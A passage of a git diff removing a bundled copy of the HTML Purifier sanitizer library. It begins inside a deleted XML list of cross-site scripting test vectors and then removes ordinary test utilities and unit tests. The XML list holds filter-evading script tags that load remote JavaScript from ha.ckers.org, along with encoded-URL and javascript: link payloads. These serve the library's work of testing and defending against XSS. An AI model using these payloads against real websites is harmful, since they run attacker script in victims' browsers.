repeatCount greater than one, this event fires every time the timeline begins to play backward) - --onRowEnter() (user or attacker would need to change a row in a data source) - --onRowExit() (user or attacker would need to change a row in a data source) - --onRowDelete() (user or attacker would need to delete a row in a data source) - --onRowInserted() (user or attacker would need to insert a row in a data source) - --onScroll() (user would need to scroll, or attacker could use the scrollBy() function) - --onSeek() (fires when the timeline is set to play in any direction other than forward) - --onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);) - --onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);) - --onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand(&quot;SelectAll&quot;);) - --onStart() (fires at the beginning of each marquee loop) - --onStop() (user would need to press the stop button or leave the webpage) - --onSynchRestored() (user interrupts the element&apos;s ability to play its media as defined by the timeline to fire) - --onSubmit() (requires attacker or user submits a form) - --onTimeError() (fires when user or attacker sets a time property, such as &quot;dur&quot;, to an invalid value) - --onTrackChange() (fires when user or attacker changes track in a playList) - --onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click) - --onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) - --seekSegmentTime() (locates the specified point on the element&apos;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) - -</desc> - <label>Event Handlers</label> - <browser>Browser support:</browser> - </attack> - <attack> - <name>Evade Regex Filter 1</name> - <code>&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - - <desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of the following regex filter: - /&lt;script[^&gt;]+src/i</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Evade Regex Filter 2</name> - <code>&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - <desc>For performing XSS on sites that allow &quot;&lt;SCRIPT>&quot; but don&apos;t allow &quot;&lt;SCRIPT SRC...&quot; by way of a regex filter: - /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i - -(this is an important one, because I&apos;ve seen this regex in the wild)</desc> - - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Evade Regex Filter 3</name> - <code>&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - <desc>Another XSS to evade this regex filter: - /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> - - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Evade Regex Filter 4</name> - <code>&lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - <desc>Yet another XSS to evade the same filter: - /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i -The only thing I&apos;ve seen work against this XSS attack if you still want to allow &lt;SCRIPT&gt; tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow &lt;SCRIPT&gt; tags)</desc> - - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Evade Regex Filter 5</name> - <code>&lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - <desc>And one last XSS attack (using grave accents) to evade this regex: - /&lt;script((\s+\w+(\s*=\s*(?:&quot;(.)*?&quot;|&apos;(.)*?&apos;|[^&apos;&quot;&gt;\s]+))?)+\s*|\s*)src/i</desc> - - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Filter Evasion 1</name> - <code>&lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - - <desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc> - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Filter Evasion 2</name> - <code>&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;</code> - <desc>Here&apos;s an XSS example that bets on the fact that the regex won&apos;t catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc> - - <label>XSS w/HTML Quote Encapsulation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>IP Encoding</name> - <code>&lt;A HREF=&quot;http://66.102.7.147/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>URL Encoding</name> - <code>&lt;A HREF=&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Dword Encoding</name> - <code>&lt;A HREF=&quot;http://1113982867/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Hex Encoding</name> - <code>&lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed). -The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Octal Encoding</name> - <code>&lt;A HREF=&quot;http://0102.0146.0007.00000223/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed). -Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Mixed Encoding</name> - <code>&lt;A HREF=&quot;h&#x0A;tt&#09;p://6&amp;#09;6.000146.0x7.147/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed). -The tabs and newlines only work if this is encapsulated with quotes.</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Protocol Resolution Bypass</name> - <code>&lt;A HREF=&quot;//www.google.com/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed). -Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &quot;(ht|f)tp(s)?://&quot; (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the &quot;//&quot; to &quot;\\&quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Firefox Lookups 1</name> - <code>&lt;A HREF=&quot;//google&quot;&gt;XSS&lt;/A&gt;</code> - <desc>Firefox uses Google&apos;s &quot;feeling lucky&quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox&apos;s &quot;keyword:&quot; protocol. You can concatenate several keywords by using something like the following &quot;keyword:XSS+RSnake&quot;</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Firefox Lookups 2</name> - <code>&lt;A HREF=&quot;http://ha.ckers.org@google&quot;&gt;XSS&lt;/A&gt;</code> - <desc>This uses a very tiny trick that appears to work Firefox only, because if it&apos;s implementation of the &quot;feeling lucky&quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It&apos;s simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;ns&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Firefox Lookups 3</name> - <code>&lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;XSS&lt;/A&gt;</code> - <desc>This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &quot;feeling lucky&quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &quot;google&quot;).</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;ns&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;ns&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Removing Cnames</name> - <code>&lt;A HREF=&quot;http://google.com/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed). -When combined with the above URL, removing &quot;www.&quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Extra dot for Absolute DNS</name> - <code>&lt;A HREF=&quot;http://www.google.com./&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed).</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>JavaScript Link Location</name> - <code>&lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;XSS&lt;/A&gt;</code> - <desc>URL string evasion (assuming &quot;http://www.google.com/&quot; is programmatically disallowed) -JavaScript link location</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> - <attack> - <name>Content Replace</name> - <code>&lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;XSS&lt;/A&gt;</code> - <desc>Content replace as an attack vector (assuming &quot;http://www.google.com/&quot; is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector (&quot;java&amp;#x26;#x09;script:&quot; was converted into &quot;java&amp;#x09;script:&quot;.</desc> - - <label>URL Obfuscation</label> - <browser>Browser support: [&lt;span class=&quot;s&quot;&gt;IE6.0&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;NS8.1-IE&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;NS8.1-G&lt;/span&gt;|&lt;span class=&quot;s&quot;&gt;FF1.5&lt;/span&gt;] [&lt;span class=&quot;s&quot;&gt;O8.54&lt;/span&gt;]</browser> - - </attack> -</xss> diff --git a/lib/htmlpurifier-3.0.0/svn.php b/lib/htmlpurifier-3.0.0/svn.php deleted file mode 100644 index c57e448..0000000 --- a/lib/htmlpurifier-3.0.0/svn.php +++ /dev/null @@ -1,13 +0,0 @@ -<?php - -function svn_info($dir) { - $raw = explode("\n", shell_exec("svn info $dir")); - $svn_info = array(); - foreach ($raw as $r) { - if (empty($r)) continue; - list($k, $v) = explode(': ', $r, 2); - $svn_info[$k] = $v; - } - return $svn_info; -} - diff --git a/lib/htmlpurifier-3.0.0/test-settings.sample.php b/lib/htmlpurifier-3.0.0/test-settings.sample.php deleted file mode 100644 index ed743e8..0000000 --- a/lib/htmlpurifier-3.0.0/test-settings.sample.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -// ATTENTION! DO NOT EDIT THIS FILE! -// This file is necessary to run the unit tests and profiling scripts. -// Please copy it to 'test-settings.php' and make the necessary edits. - -// Some of these scripts run a long time, so it is recommended that you -// turn off the time limit -set_time_limit(0); - -// Turning off output buffering will prevent mysterious errors from core dumps -@ob_end_flush(); - -// Where is SimpleTest located? -$simpletest_location = '/path/to/simpletest/'; - -// Where is CSSTidy located? -$csstidy_location = '/path/to/csstidy/'; - -// For tests/multitest.php, which versions to test? -$versions_to_test = array(); - -// For tests/multitest.php, what is the multi-version executable? It must -// accept an extra parameter (version number) before all other arguments -$phpv = 'phpv'; - -// How many times should profiling scripts iterate over the function? More runs -// means more accurate results, but they'll take longer to perform. -$GLOBALS['HTMLPurifierTest']['Runs'] = 2; - diff --git a/lib/htmlpurifier-3.0.0/tests/CliTestCase.php b/lib/htmlpurifier-3.0.0/tests/CliTestCase.php deleted file mode 100644 index c58d487..0000000 --- a/lib/htmlpurifier-3.0.0/tests/CliTestCase.php +++ /dev/null @@ -1,68 +0,0 @@ -<?php - -/** - * Implements an external test-case like RemoteTestCase that parses its - * output from XML returned by a command line call - */ -class CliTestCase -{ - public $_command; - public $_out = false; - public $_quiet = false; - public $_errors = array(); - /** - * @param $command Command to execute to retrieve XML - * @param $xml Whether or not to suppress error messages - */ - public function __construct($command, $quiet = false) { - $this->_command = $command; - $this->_quiet = $quiet; - } - public function getLabel() { - return $this->_command; - } - public function run(&$reporter) { - if (!$this->_quiet) $reporter->paintFormattedMessage('Running ['.$this->_command.']'); - $xml = shell_exec($this->_command); - if (! $xml) { - if (!$this->_quiet) { - trigger_error('Command did not have any output [' . $this->_command . ']'); - } - return false; - } - $parser = &$this->_createParser($reporter); - - set_error_handler(array($this, '_errorHandler')); - $status = $parser->parse($xml); - restore_error_handler(); - - if (! $status) { - if (!$this->_quiet) { - foreach ($this->_errors as $error) { - list($no, $str, $file, $line) = $error; - $reporter->paintFormattedMessage("Error $no: $str on line $line of $file"); - } - $msg = "Command produced malformed XML: \n"; - if (strlen($xml) > 120) { - $msg .= substr($xml, 0, 50) . "...\n\n[snip]\n\n..." . substr($xml, -50); - } else { - $msg .= $xml; - } - $reporter->paintFormattedMessage($msg); - } - return false; - } - return true; - } - public function &_createParser(&$reporter) { - $parser = new SimpleTestXmlParser($reporter); - return $parser; - } - public function getSize() { - return 1; // we don't know it - } - public function _errorHandler($a, $b, $c, $d) { - $this->_errors[] = array($a, $b, $c, $d); // see set_error_handler() - } -} - diff --git a/lib/htmlpurifier-3.0.0/tests/Debugger.php b/lib/htmlpurifier-3.0.0/tests/Debugger.php deleted file mode 100644 index 6bc4455..0000000 --- a/lib/htmlpurifier-3.0.0/tests/Debugger.php +++ /dev/null @@ -1,158 +0,0 @@ -<?php - -/** - * Debugging tools. - * - * This file gives a developer a set of tools useful for performing code - * consistency checks. This includes scoping code blocks to ensure that - * only the interesting iteration of a loop gets outputted, a paint() - * function that acts like var_dump() with pre tags, and conditional - * printing. - */ - -/* -TODO - * Integrate into SimpleTest so it tells us whether or not there were any - not cleaned up debug calls. - * Custom var_dump() that ignores blacklisted properties - * DEPRECATE AND REMOVE ALL CALLS! -*/ - -/**#@+ - * Convenience global functions. Corresponds to method on Debugger. - */ -function paint($mixed) { - $Debugger =& Debugger::instance(); - return $Debugger->paint($mixed); -} -function paintIf($mixed, $conditional) { - $Debugger =& Debugger::instance(); - return $Debugger->paintIf($mixed, $conditional); -} -function paintWhen($mixed, $scopes = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->paintWhen($mixed, $scopes); -} -function paintIfWhen($mixed, $conditional, $scopes = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->paintIfWhen($mixed, $conditional, $scopes); -} -function addScope($id = false) { - $Debugger =& Debugger::instance(); - return $Debugger->addScope($id); -} -function removeScope($id) { - $Debugger =& Debugger::instance(); - return $Debugger->removeScope($id); -} -function resetScopes() { - $Debugger =& Debugger::instance(); - return $Debugger->resetScopes(); -} -function isInScopes($array = array()) { - $Debugger =& Debugger::instance(); - return $Debugger->isInScopes($array); -} -/**#@-*/ - -function printTokens($tokens, $index = null) { - $string = '<pre>'; - $generator = new HTMLPurifier_Generator(); - foreach ($tokens as $i => $token) { - if ($index === $i) $string .= '[<strong>'; - $string .= "<sup>$i</sup>"; - $string .= $generator->escape($generator->generateFromToken($token)); - if ($index === $i) $string .= '</strong>]'; - } - $string .= '</pre>'; - echo $string; -} - -/** - * The debugging singleton. Most interesting stuff happens here. - */ -class Debugger -{ - - public $shouldPaint = false; - public $paints = 0; - public $current_scopes = array(); - public $scope_nextID = 1; - public $add_pre = true; - - public function Debugger() { - $this->add_pre = !extension_loaded('xdebug'); - } - - public static function &instance() { - static $soleInstance = false; - if (!$soleInstance) $soleInstance = new Debugger(); - return $soleInstance; - } - - public function paintIf($mixed, $conditional) { - if (!$conditional) return; - $this->paint($mixed); - } - - public function paintWhen($mixed, $scopes = array()) { - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paintIfWhen($mixed, $conditional, $scopes = array()) { - if (!$conditional) return; - if (!$this->isInScopes($scopes)) return; - $this->paint($mixed); - } - - public function paint($mixed) { - $this->paints++; - if($this->add_pre) echo '<pre>'; - var_dump($mixed); - if($this->add_pre) echo '</pre>'; - } - - public function addScope($id = false) { - if ($id == false) { - $id = $this->scope_nextID++; - } - $this->current_scopes[$id] = true; - } - - public function removeScope($id) { - if (isset($this->current_scopes[$id])) unset($this->current_scopes[$id]); - } - - public function resetScopes() { - $this->current_scopes = array(); - $this->scope_nextID = 1; - } - - public function isInScopes($scopes = array()) { - if (empty($this->current_scopes)) { - return false; - } - if (!is_array($scopes)) { - $scopes = array($scopes); - } - foreach ($scopes as $scope_id) { - if (empty($this->current_scopes[$scope_id])) { - return false; - } - } - if (empty($scopes)) { - if ($this->scope_nextID == 1) { - return false; - } - for($i = 1; $i < $this->scope_nextID; $i++) { - if (empty($this->current_scopes[$i])) { - return false; - } - } - } - return true; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrCollectionsTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrCollectionsTest.php deleted file mode 100644 index fb1bb75..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrCollectionsTest.php +++ /dev/null @@ -1,135 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrCollections.php'; - -Mock::generatePartial( - 'HTMLPurifier_AttrCollections', - 'HTMLPurifier_AttrCollections_TestForConstruct', - array('performInclusions', 'expandIdentifiers') -); - -class HTMLPurifier_AttrCollectionsTest extends HTMLPurifier_Harness -{ - - function testConstruction() { - - generate_mock_once('HTMLPurifier_AttrTypes'); - - $collections = new HTMLPurifier_AttrCollections_TestForConstruct(); - - $types = new HTMLPurifier_AttrTypesMock(); - - $modules = array(); - - $modules['Module1'] = new HTMLPurifier_HTMLModule(); - $modules['Module1']->attr_collections = array( - 'Core' => array( - 0 => array('Soup', 'Undefined'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2', - ), - 'Soup' => array( - 'attribute-3' => 'Type3-old' // overwritten - ) - ); - - $modules['Module2'] = new HTMLPurifier_HTMLModule(); - $modules['Module2']->attr_collections = array( - 'Core' => array( - 0 => array('Brocolli') - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ); - - $collections->__construct($types, $modules); - // this is without identifier expansion or inclusions - $this->assertIdentical( - $collections->info, - array( - 'Core' => array( - 0 => array('Soup', 'Undefined', 'Brocolli'), - 'attribute' => 'Type', - 'attribute-2' => 'Type2' - ), - 'Soup' => array( - 'attribute-3' => 'Type3' - ), - 'Brocolli' => array() - ) - ); - - } - - function test_performInclusions() { - - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - $collections->info = array( - 'Core' => array(0 => array('Inclusion', 'Undefined'), 'attr-original' => 'Type'), - 'Inclusion' => array(0 => array('SubInclusion'), 'attr' => 'Type'), - 'SubInclusion' => array('attr2' => 'Type') - ); - - $collections->performInclusions($collections->info['Core']); - $this->assertIdentical( - $collections->info['Core'], - array( - 'attr-original' => 'Type', - 'attr' => 'Type', - 'attr2' => 'Type' - ) - ); - - // test recursive - $collections->info = array( - 'One' => array(0 => array('Two'), 'one' => 'Type'), - 'Two' => array(0 => array('One'), 'two' => 'Type') - ); - $collections->performInclusions($collections->info['One']); - $this->assertIdentical( - $collections->info['One'], - array( - 'one' => 'Type', - 'two' => 'Type' - ) - ); - - } - - function test_expandIdentifiers() { - - generate_mock_once('HTMLPurifier_AttrTypes'); - - $types = new HTMLPurifier_AttrTypesMock(); - $collections = new HTMLPurifier_AttrCollections($types, array()); - - $attr = array( - 'attr1' => 'Color', - 'attr2*' => 'URI' - ); - $c_object = new HTMLPurifier_AttrDef_HTML_Color(); - $u_object = new HTMLPurifier_AttrDef_URI(); - - $types->setReturnValue('get', $c_object, array('Color')); - $types->setReturnValue('get', $u_object, array('URI')); - - $collections->expandIdentifiers($attr, $types); - - $u_object->required = true; - $this->assertIdentical( - $attr, - array( - 'attr1' => $c_object, - 'attr2' => $u_object - ) - ); - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php b/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php deleted file mode 100644 index 74fcb49..0000000 --- a/lib/htmlpurifier-3.0.0/tests/HTMLPurifier/AttrDef/CSS/AlphaValueTest.php +++ /dev/null @@ -1,30 +0,0 @@ -<?php - -require_once 'HTMLPurifier/AttrDef/CSS/AlphaValue.php'; -require_once 'HTMLPurifier/AttrDefHarness.php'; - -class HTMLPurifier_AttrDef_CSS_AlphaValueTest extends HTMLPurifier_AttrDefHarness -{ - - function test() { - - $this->def = new HTMLPurifier_AttrDef_CSS_AlphaValue(); - - $this->assertDef('0'); - $this->assertDef('1'); - 